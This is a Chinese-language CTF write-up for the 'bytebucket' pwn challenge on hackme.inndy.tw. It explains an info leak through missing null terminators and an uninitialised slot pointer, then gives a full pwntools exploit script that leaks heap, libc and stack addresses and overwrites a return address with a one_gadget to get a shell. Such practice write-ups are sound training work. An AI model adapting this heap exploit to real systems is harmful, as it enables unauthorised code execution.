題目鏈接:https://hackme.inndy.tw/scoreboard/ (隨便輸個(gè)名字登錄即可看到題目列表)
下載bytebucket文件,checksec下:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
程序功能
基本功能是增刪改查bucket,一個(gè)bucket對(duì)應(yīng)多個(gè)slot。bucket結(jié)構(gòu)體:
0x8字節(jié) : 下一個(gè)bucket的地址
0x8字節(jié) : slot_count
0x10字節(jié) : bucket_name
0x8 * n字節(jié) : n個(gè)slot地址
有下面幾個(gè)操作:
1. Make bucket 插入一個(gè)bucket到buckets鏈中,給該bucket填充slot。這條bucktes鏈的鏈頭地址存在0x203148處(g_bucket_head),在0x203140處存儲(chǔ)當(dāng)前指向的bucket(g_bucket_current)。
2. List bucket
3. Find bucket 通過(guò)bucket_name找到bucket,并用g_bucket_current指向該bucket
4. Next bucket
5. Drop bucket
6. Open bucket 打開(kāi)g_bucket_current指向的bucket,可打印、編輯、刪除slot,重命名bucket
7. Sort bucket
8. Exit bucket
程序開(kāi)始新建了兩個(gè)bucket:
--- List of Buckets ---
Bucket[1]->name = "/root/locked"; // 這個(gè)bucket有個(gè)slot即第一個(gè)flag,第二個(gè)flag通過(guò)需shell來(lái)獲取
Bucket[2]->name = "/home/ctf/flag";
漏洞點(diǎn)
- 在讀取用戶(hù)輸入的字符串時(shí),可以讓其不在末尾拼接\x00(
sub_EA8函數(shù)和sub_CBA函數(shù)),導(dǎo)致可以通過(guò)printf泄露出heap地址。如:輸入0x10長(zhǎng)度的bucket_name再List bucket輸出可泄露堆地址;輸入0x100長(zhǎng)的字符可打印出g_bucket_current的值, 即泄露堆地址。 - make bucket操作:新建的bucket內(nèi)存,并不清零,而當(dāng)用戶(hù)輸入的slot大小為0時(shí),其也不把slot地址置0,也就是如果在這個(gè)slot處我們先放入一個(gè)地址值,我們就可以通過(guò)操作這個(gè)slot來(lái)讀寫(xiě)這個(gè)地址指向的內(nèi)存??梢岳闷湫孤秎ibc地址,泄露棧地址,達(dá)到UAF,覆蓋某個(gè)bucket的下一個(gè)bucket的地址等。
pwn腳本
# -*-coding:utf-8-*-
from pwn import *
import pdb
# context.log_level = "debug"
def make_bucket(p, bucket_name, slot_datas):
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Size of bucket >>")
p.sendline(str(len(slot_datas))) # slot_count
p.recvuntil("Name of bucket >>")
p.sendline(bucket_name)
for i in xrange(0, len(slot_datas)):
p.recvuntil("Size of content >>")
p.sendline(str(len(slot_datas[i])))
if len(slot_datas[i]) > 0:
p.recvuntil("Content of slot >>")
p.send(slot_datas[i])
def find_bucket(p, bucket_name):
p.recvuntil("What to do >>")
p.sendline("3")
p.recvuntil("Bucket name to find >>")
p.sendline(bucket_name)
def drop_bucket(p):
p.recvuntil("What to do >>")
p.sendline("5")
## run using my libc.so
# env = {"FLAG1": "flag{flag1}"}
# p = process("./bytebucket2", env=env)
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
##
# env = {"FLAG1": "flag{flag1}", "LD_PRELOAD" : "/root/pwnfile/inndy_libc-2.23.so.x86_64"}
# p = process("./bytebucket2", env=env)
p = remote("hackme.inndy.tw", 7722)
libc = ELF("/root/pwnfile/inndy_libc-2.23.so.x86_64")
# Step1: leak heap addr
make_bucket(p, "PPP", ['pppp']) # 增加棧地址,避免要打印出的棧地址為0xXXXXXXXX00YY,打印該地址時(shí)會(huì)\x00截?cái)啵瑥亩惠敵?xYY
make_bucket(p, "QQQ", ['qqqq'])
find_bucket(p, "A" * 0x100) # 會(huì)輸入0x100個(gè)字符到0x203040,printf打印0x203040的值時(shí)就會(huì)打印出跟在它后面的0x203140處的值,即g_bucket_current的值
p.recvuntil("A" * 0x100)
addr_heap = u64(p.recvuntil('"', drop=True).ljust(8, "\x00"))
log.success("addr_heap: " + hex(addr_heap))
addr_flag1 = addr_heap - 0x100
# Step2: get flag1
payload = [p64(addr_flag1) * 0x30] # 先在堆上布置flag1的地址
make_bucket(p, "AAA", payload)
drop_bucket(p)
make_bucket(p, "BBB", ["bbbb"])
make_bucket(p, "CCC", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1") # 打印CCC這個(gè)bucket的slot,該slot就是flag1的地址
p.recvuntil("Row[0]:")
flag1 = p.recvuntil("+---", drop=True)
log.success("flag1: " + flag1)
p.recvuntil("What to do >>")
p.sendline("5")
# Step3: leak libc addr
addr_free_chunk = addr_heap + 0x150
payload = [p64(addr_free_chunk) * 0x30]
make_bucket(p, "DDD", payload)
make_bucket(p, "EEE", ["eeee"]) # near top chunk
find_bucket(p, "DDD")
drop_bucket(p)
make_bucket(p, "FFF", ["ffff"])
make_bucket(p, "GGG", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:") # 打印CCC這個(gè)bucket的slot,該slot值指向一個(gè)unsorted bin chunk,打印該slot就泄露出unsorted bin地址,再計(jì)算出libc基址
addr_unsorted_bin = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin))
addr_libc = addr_unsorted_bin - 0x3c3b78 # fix it. In my libc: 0x3c4b78
log.success("addr_libc: " + hex(addr_libc))
p.recvuntil("What to do >>")
p.sendline("5")
# at this moment, we have a unsorted bin chunk(size: 0x140)
# Step4: leak stack addr by environ
addr_environ = addr_libc + libc.symbols["environ"]
addr_system = addr_libc + libc.symbols["system"]
make_bucket(p, "HHH", [p64(addr_environ) * 0x20])
drop_bucket(p)
make_bucket(p, "III", ["iiii"])
make_bucket(p, "JJJ", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:")
addr_stack = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_stack: " + hex(addr_stack))
p.recvuntil("What to do >>")
p.sendline("5")
# at this moment, we have a unsorted bin chunk(size: 0xc0)
# Step 5: modify ret to one_gadget
addr_ret = addr_stack - 0xf0
# 該one_gadget需滿(mǎn)足[rsp+0x70] == NULL
addr_one_gadget = addr_libc + 0xf0897 # fix it. In my libc: 0xf1147
make_bucket(p, "KKK", ["k"] * 4) # consume the unsorted bin chunk
make_bucket(p, "LLL", [p64(addr_ret) * 0x30])
make_bucket(p, "MMM", ["mmmm"]) # near top chunk
find_bucket(p, "LLL")
drop_bucket(p)
make_bucket(p, "NNN", ["nnnn"])
make_bucket(p, "OOO", [""]) # let size of slot content be zero
p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("2") # edit data
p.recvuntil("Which line of data >>")
p.sendline("0")
p.recvuntil("Size of new content >>")
p.sendline("5")
p.recvuntil("New content >>")
p.send(p64(addr_one_gadget)[:5])
p.recvuntil("What to do >>")
p.sendline("5")
# Step 6: exit to execute one_gadget
p.recvuntil("What to do >>")
p.sendline("8")
p.interactive()